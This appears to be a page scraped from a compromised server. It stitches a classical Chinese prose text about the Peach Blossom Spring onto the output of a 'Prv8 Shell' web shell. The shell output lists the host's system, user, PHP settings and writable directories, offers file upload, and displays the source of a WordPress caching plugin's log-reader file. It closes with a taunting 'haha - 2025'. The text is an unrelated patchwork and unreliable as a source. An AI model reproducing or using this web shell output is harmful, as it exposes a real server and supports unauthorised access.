晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/w3-total-cache/UsageStatistics_Source_DbQueriesLog.php
<?php
namespace W3TC;



/**
 * database queries debug log reader - provides data from this logfile
 */
class UsageStatistics_Source_DbQueriesLog {
	// running values
	private $timestamp_start;
	private $sort_column;

	private $by_query = array();

	/* if need to read more access log chunks */
	private $more_log_needed = true;



	function __construct( $timestamp_start, $sort_column ) {
		$this->timestamp_start = $timestamp_start;
		$this->sort_column = $sort_column;
	}

	/**
	 * Lists entries from log
	 **/
	public function list_entries() {
		$log_filename = Util_Debug::log_filename( 'dbcache-queries' );
		$h = @fopen( $log_filename, 'rb' );
		if ( !$h ) {
			throw new \Exception( 'Failed to open log file' . $log_filename );
		}

		fseek( $h, 0, SEEK_END );
		$pos = ftell( $h );
		$unparsed_head = '';

		while ( $pos >= 0 && $this->more_log_needed ) {
			$pos -= 8192;
			if ( $pos <= 0 ) {
				$pos = 0;
			}
			fseek( $h, $pos );

			$s = fread( $h, 8192 );

			$unparsed_head = $this->parse_string( $s . $unparsed_head, $pos > 0 );
			if ( $pos <= 0 ) {
				$this->more_log_needed = false;
			}
		}

		$output = array();
		foreach ( $this->by_query as $query => $data ) {
			$output[] = array(
				'query' => $query,
				'count_total' => $data['count_total'],
				'count_hit' => $data['count_hit'],
				'avg_size' => (int)( $data['sum_size'] / $data['count_total'] ),
				'avg_time_ms' => (int)( $data['sum_time_ms'] / $data['count_total'] ),
				'sum_time_ms' => (int)$data['sum_time_ms'],
				'reasons' => $data['reasons']
			);
		}

		usort( $output, function($a, $b) {
			return (int)($b[$this->sort_column]) - (int)($a[$this->sort_column]);
		});

		$output = array_slice( $output, 0, 200 );

		return $output;
	}



	private function parse_string( $s, $skip_first_line ) {
		$s_length = strlen( $s );
		$unparsed_head = '';

		$n = 0;
		if ( $skip_first_line ) {
			for ( ; $n < $s_length; $n++ ) {
				$c = substr( $s, $n, 1 );
				if ( $c == "\r" || $c == "\n" ) {
					$unparsed_head = substr( $s, 0, $n + 1 );
					break;
				}
			}
		}

		$line_start = $n;
		for ( ; $n < $s_length; $n++ ) {
			$c = substr( $s, $n, 1 );
			if ( $c == "\r" || $c == "\n" ) {
				if ( $n > $line_start ) {
					$this->push_line( substr( $s, $line_start, $n - $line_start ) );
				}

				$line_start = $n + 1;
			}
		}

		return $unparsed_head;
	}



	private function push_line( $line ) {
		$matches = str_getcsv( $line, "\t" );

		if ( !$matches ) {
			return;
		}

		$date_string = $matches[0];
		$query = $matches[2];
		$time_taken_ms = isset( $matches[3] ) ? (float)$matches[3] / 1000 : 0;
		$reason = isset( $matches[4] ) ? $matches[4] : '';
		$hit = isset( $matches[5] ) ? $matches[5] : false;
		$size = isset( $matches[6] ) ? $matches[6] : 0;

		$time = strtotime($date_string);

		// dont read more if we touched entries before timeperiod of collection
		if ( $time < $this->timestamp_start ) {
			$this->more_log_needed = false;
		}

		if ( !isset( $this->by_query[$query] ) ) {
			$this->by_query[$query] = array(
				'count_total' => 0,
				'count_hit' => 0,
				'sum_size' => 0,
				'sum_time_ms' => 0,
				'reasons' => array()
			);
		}

		$this->by_query[$query]['count_total']++;
		if ($hit) {
			$this->by_query[$query]['count_hit']++;
		}
		$this->by_query[$query]['sum_size'] += $size;
		$this->by_query[$query]['sum_time_ms'] += $time_taken_ms;

		if ( !in_array( $reason, $this->by_query[$query]['reasons']) ) {
			$this->by_query[$query]['reasons'][] = $reason;
		}
	}
}

haha - 2025